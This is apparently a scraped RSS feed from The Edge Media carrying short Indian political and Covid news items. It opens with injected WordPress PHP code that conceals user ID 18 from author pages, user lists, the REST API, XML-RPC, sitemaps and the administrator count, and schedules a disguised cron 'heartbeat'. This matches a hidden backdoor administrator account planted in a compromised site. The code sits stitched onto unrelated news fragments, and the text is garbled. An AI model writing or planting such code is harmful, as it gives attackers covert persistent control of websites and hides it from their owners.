add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Admission to madrassas is a “rights violation,” according to Assam’s chief minister appeared first on The Edge Media.
]]>
Nobody is suggesting don’t teach the Quran, he added (Islamic holy book). Science, math, biology, botany, and zoology should all be taught to students. For 2-3 hours, give religious instruction. In schools, however, students should be taught in such a way that they can become engineers or doctors.
The post Admission to madrassas is a “rights violation,” according to Assam’s chief minister appeared first on The Edge Media.
]]>The post Ex-CJI: Jharkhand Chief Minister Soren’s disqualification due to a mining lease is insufficient appeared first on The Edge Media.
]]>
Soren received a notice from the Election Commission of India (ECI) last week, requesting him to explain why he should not be disqualified. The ECI cited the review of documents as adequate grounds for beginning disqualification procedures, citing the grant.
It mentioned the Representation of the People Act, which states: “a person shall be disqualified if, and for so long as, there subsists a contract entered into by him in the course of his trade or business with the appropriate Government for the supply of goods to, or for the execution of any works undertaken by, that Government.’’
The post Ex-CJI: Jharkhand Chief Minister Soren’s disqualification due to a mining lease is insufficient appeared first on The Edge Media.
]]>The post Akhilesh Yadav Not to Contest Next UP Assembly Elections, Says ‘Alliance Between SP-RLD Finalised’ appeared first on The Edge Media.
]]>
The Samajwadi Party failed to retain power in the 2017 Uttar Pradesh assembly elections, winning only 47 seats. The BJP won 312 seats in the 2017 Uttar Pradesh assembly elections, and Yogi Adityanath was appointed as the state’s Chief Minister.
The post Akhilesh Yadav Not to Contest Next UP Assembly Elections, Says ‘Alliance Between SP-RLD Finalised’ appeared first on The Edge Media.
]]>The post We have case where complainant has gone missing: Uddhav Thackeray’s dig at Param Bir Singh appeared first on The Edge Media.
]]>
The statement was delivered by Thackeray at the inauguration of two wings of the annex building at the Bombay high court’s Aurangabad bench. On the occasion, Chief Justice of India N V Ramana, Union Law Minister Kiren Rijuju, Supreme Court Justice D Y Chandrachud, and others were present.
Thackeray said: “Justice D Y Chandrachud pointed out (during his address at the event) that a case is pending in Maharashtra since 1958 as the accused is absconding. But today we have a case where the complainant is missing.”
The post We have case where complainant has gone missing: Uddhav Thackeray’s dig at Param Bir Singh appeared first on The Edge Media.
]]>The post Arvind Kejriwal: Due to stubble burning in neighboring states, pollution levels in Delhi are rising appeared first on The Edge Media.
]]>
He urged the governments of Punjab, Haryana, and Uttar Pradesh to recognize and accept their roles in decreasing stubble burning and pollution.
The post Arvind Kejriwal: Due to stubble burning in neighboring states, pollution levels in Delhi are rising appeared first on The Edge Media.
]]>The post PM Modi Pays Last Respects to ex-UP CM Kalyan Singh in Lucknow appeared first on The Edge Media.
]]>Tributes came in for the prominent backward caste politician, with Prime Minister Narendra Modi praising the two-time Uttar Pradesh chief minister’s “indescribable contribution” to the state’s prosperity and India’s “cultural regeneration.” On Monday, when the former chief minister’s last rituals are performed, Uttar Pradesh has declared three days of mourning and a holiday.
The post PM Modi Pays Last Respects to ex-UP CM Kalyan Singh in Lucknow appeared first on The Edge Media.
]]>The post MK Stalin seeks support of nine Chief Ministers in opposing the Draft Indian Ports Bill 2021 appeared first on The Edge Media.
]]>In his letter dated June 21, Stalin said the Union ministry of ports, shipping and waterways, which has framed a new ‘Draft Indian Ports Bill 2021’ to modify the current management model of minor ports, has convened a meeting of the Maritime State Development Council (MSDC) with the state ministers on June 24 to discuss the bill. As per the existing Indian Ports Act,1908, the powers to plan, develop, regulate and control the minor ports vests with the state governments.
But the Indian Ports Bill proposes to change this and transfer many of these powers to MSDC, which has so far been only an advisory body. Further, many powers exercised by the state governments would be taken over by the Centre, even though the present system led to good development of minor ports under the states.
The move by the Centre to bring a new bill would have long term adverse impact on the management of minor ports since the state governments would not have any major role in managing them if the bill gets approved, Stalin said. Stalin calls for joint action in letter to CMs
He urged the chief ministers to take joint action to prevent any move to dilute the powers vested with the states in administering these ports.
The post MK Stalin seeks support of nine Chief Ministers in opposing the Draft Indian Ports Bill 2021 appeared first on The Edge Media.
]]>The post Karnataka government extends Covid lockdown till June 7 due to the surge in cases. appeared first on The Edge Media.
]]>The state has reported 32,218 fresh covid infections and 353 fatalities today. The death toll of the state has reached to 24,207 and the total number of infected people are 23,67,742.
The PTI quoted the Chief Minister’s statement saying,”We have taken some decisions regarding the lockdown after discussing them with our senior ministers, Chief secretary and other officials. Heading to the suggestions of the experts, we have decided to extend the stringent restriction from May 24 to June 7″.
The Chief Minister asked for the people’s cooperation and stated the need to follow the Covid behaviour. He requested them to wear face masks and maintain social distance and hygiene.
In the current phase of lockdown, there is no restriction on Inter-state and Intra-state travelling. The goods and people can move freely and unrestricted.
The post Karnataka government extends Covid lockdown till June 7 due to the surge in cases. appeared first on The Edge Media.
]]>The post Gujarat extends night curfew for another 3 days in 36 cities appeared first on The Edge Media.
]]>The restrictions are currently working in other regions of Gujarat except these 36 cities. Restrictions currently are imposed in Gujarat in other parts will continue between May 18, 6 am to May 20, 6 am.
Mr Rupani also said that the government will take actions on whether to extend the night curfew and other restrictions after May 20. The government has only allowed the continuation of essential services and activities within these three days in view of the centre’s guidelines. Offices will have to ensure the employee strength of 50 per cent on working days. The strength in marriages must be of 50 people whereas in funeral it must be 20.
The post Gujarat extends night curfew for another 3 days in 36 cities appeared first on The Edge Media.
]]>The post Arvind Kejriwal urges centre to stop Singapore Flights appeared first on The Edge Media.
]]>He tweeted in Hindi,”The new form of Corona that came to Singapore is being said to be extremely dangerous for children, in India it may come as a third wave. My appeal to the central government: 1. Air services with Singapore to be cancelled with immediate effect 2. Priority on vaccine options should be worked out for children too”.
सिंगापुर में आया कोरोना का नया रूप बच्चों के लिए बेहद ख़तरनाक बताया जा रहा है, भारत में ये तीसरी लहर के रूप में आ सकता है।
केंद्र सरकार से मेरी अपील:
1. सिंगापुर के साथ हवाई सेवाएं तत्काल प्रभाव से रद्द हों
2. बच्चों के लिए भी वैक्सीन के विकल्पों पर प्राथमिकता के आधार पर काम हो— Arvind Kejriwal (@ArvindKejriwal) May 18, 2021
Delhi Chief Minister’s tweet came in the middle of the concerns raised about the third wave of Corona. Many experts say that this is very likely to target the children. At the current time, the first and second wave has hit the elderly and the young at most.
The Principal Scientific Advisor of the government informed that a third wave in ‘inevitable’ and advised that the vaccines must be updated to deal with the new strains.
The post Arvind Kejriwal urges centre to stop Singapore Flights appeared first on The Edge Media.
]]>